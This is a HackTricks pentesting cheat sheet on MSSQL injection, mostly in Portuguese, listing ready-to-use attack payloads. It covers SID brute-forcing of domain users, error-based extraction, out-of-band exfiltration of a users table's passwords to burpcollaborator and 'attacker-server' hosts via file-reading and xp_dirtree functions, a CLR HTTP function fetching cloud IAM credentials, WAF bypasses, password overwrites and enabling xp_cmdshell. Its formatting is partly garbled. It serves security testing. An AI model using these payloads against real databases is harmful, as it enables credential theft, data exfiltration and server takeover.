MSSQL Injection

Support HackTricks

Enumeração do Active Directory

Pode ser possível enumerar usuários de domínio via injeção SQL dentro de um servidor MSSQL usando as seguintes funções MSSQL:

  • SELECT DEFAULT_DOMAIN(): Obter o nome do domínio atual.

  • master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator')): Se você souber o nome do domínio (DOMAIN neste exemplo), esta função retornará o SID do usuário Administrator em formato hexadecimal. Isso parecerá com 0x01050000000[...]0000f401, note como os últimos 4 bytes são o número 500 em formato big endian, que é o ID comum do usuário administrador. Esta função permitirá que você saiba o ID do domínio (todos os bytes, exceto os últimos 4).

  • SUSER_SNAME(0x01050000000[...]0000e803) : Esta função retornará o nome de usuário do ID indicado (se houver), neste caso 0000e803 em big endian == 1000 (geralmente este é o ID do primeiro usuário regular criado). Então você pode imaginar que pode forçar IDs de usuário de 1000 a 2000 e provavelmente obter todos os nomes de usuário dos usuários do domínio. Por exemplo, usando uma função como a seguinte:

def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000

Vetores Alternativos Baseados em Erros

Injeções SQL baseadas em erros geralmente se assemelham a construções como +AND+1=@@version-- e variantes baseadas no operador «OR». Consultas contendo tais expressões são geralmente bloqueadas por WAFs. Como uma forma de contornar isso, concatene uma string usando o caractere %2b com o resultado de chamadas de funções específicas que acionam um erro de conversão de tipo de dado nos dados desejados.

Alguns exemplos de tais funções:

  • SUSER_NAME()

  • USER_NAME()

  • PERMISSIONS()

  • DB_NAME()

  • FILE_NAME()

  • TYPE_NAME()

  • COL_NAME()

Exemplo de uso da função USER_NAME():

https://vuln.app/getItem?id=1'%2buser_name(@@version)--

SSRF

Esses truques de SSRF foram retirados daqui

fn_xe_file_target_read_file

Requer permissão VIEW SERVER STATE no servidor.

https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';

fn_get_audit_file

Requer a permissão CONTROL SERVER.

https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';

fn_trace_gettabe

Requer a permissão CONTROL SERVER.

https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';

xp_dirtree, xp_fileexists, xp_subdirs

Procedimentos armazenados como xp_dirtree, embora não oficialmente documentados pela Microsoft, foram descritos por outros online devido à sua utilidade em operações de rede dentro do MSSQL. Esses procedimentos são frequentemente usados na exfiltração de dados fora de banda, como demonstrado em vários exemplos e posts.

O procedimento armazenado xp_dirtree, por exemplo, é usado para fazer solicitações de rede, mas é limitado apenas à porta TCP 445. O número da porta não é modificável, mas permite a leitura de compartilhamentos de rede. O uso é demonstrado no script SQL abaixo:

DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');

É importante notar que este método pode não funcionar em todas as configurações de sistema, como em Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) rodando em um Windows Server 2016 Datacenter com configurações padrão.

Além disso, existem procedimentos armazenados alternativos como master..xp_fileexist e xp_subdirs que podem alcançar resultados semelhantes. Mais detalhes sobre xp_fileexist podem ser encontrados neste artigo do TechNet.

xp_cmdshell

Obviamente, você também poderia usar xp_cmdshell para executar algo que aciona um SSRF. Para mais informações leia a seção relevante na página:

1433 - Pentesting MSSQL - Microsoft SQL Server

MSSQL User Defined Function - SQLHttp

Criar uma UDF CLR (Função Definida pelo Usuário do Common Language Runtime), que é um código escrito em qualquer linguagem .NET e compilado em uma DLL, para ser carregado dentro do MSSQL para executar funções personalizadas, é um processo que requer acesso dbo. Isso significa que geralmente é viável apenas quando a conexão com o banco de dados é feita como sa ou com um papel de Administrador.

Um projeto do Visual Studio e instruções de instalação são fornecidos neste repositório do Github para facilitar o carregamento do binário no MSSQL como uma assembly CLR, permitindo assim a execução de requisições HTTP GET de dentro do MSSQL.

O núcleo dessa funcionalidade está encapsulado no arquivo http.cs, que utiliza a classe WebClient para executar uma requisição GET e recuperar conteúdo, conforme ilustrado abaixo:

using System.Data.SqlTypes;
using System.Net;

public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString(html);
}
}

Antes de executar o comando SQL CREATE ASSEMBLY, é aconselhável executar o seguinte trecho SQL para adicionar o hash SHA512 da assembly à lista de assemblies confiáveis do servidor (visível através de select * from sys.trusted_assemblies;):

EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';

Após adicionar a assembly com sucesso e criar a função, o seguinte código SQL pode ser utilizado para realizar requisições HTTP:

DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);

Exploração Rápida: Recuperando Todo o Conteúdo da Tabela em uma Única Consulta

Truque daqui.

Um método conciso para extrair o conteúdo completo de uma tabela em uma única consulta envolve a utilização da cláusula FOR JSON. Esta abordagem é mais sucinta do que usar a cláusula FOR XML, que requer um modo específico como "raw". A cláusula FOR JSON é preferida por sua brevidade.

Aqui está como recuperar o esquema, tabelas e colunas do banco de dados atual:

https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:

```sql
```markdown
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--

### Retrieving the Current Query

[Trick from here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/).

For users granted the `VIEW SERVER STATE` permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:

```sql
```markdown
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null

To check if you have the VIEW SERVER STATE permission, the following query can be used:

```sql
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';

Little tricks for WAF bypasses

Tricks also from here

Non-standard whitespace characters: %C2%85 или %C2%A0:

```markdown
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--

Scientific (0e) and hex (0x) notation for obfuscating UNION:

https://vuln.app/getItem?id=0eunion+select+null,@@version,null--

https://vuln.app/getItem?id=0xunion+select+null,@@version,null--


A period instead of a whitespace between FROM and a column name:
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--

\N separator between SELECT and a throwaway column:
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--

### WAF Bypass with unorthodox stacked queries

According to [**this blog post**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) it's possible to stack queries in MSSQL without using ";":

```sql
SELECT 'a' SELECT 'b'

So for example, multiple queries such as:

use [tempdb]  
create table [test] ([id] int)  
insert [test] values(1)  
select [id] from [test]  
drop table[test]

Can be reduced to:

use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]

Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:

# Adicionando um exec() inútil no final e fazendo o WAF pensar que esta não é uma consulta válida
admina'union select 1,'admin','testtest123'exec('select 1')--
## Isso será:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'

# Usando consultas estranhas
admin'exec('update[users]set[password]=''a''')--
## Isso será:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'

# Ou habilitando xp_cmdshell
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## Isso será
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--

References

Support HackTricks

Last updated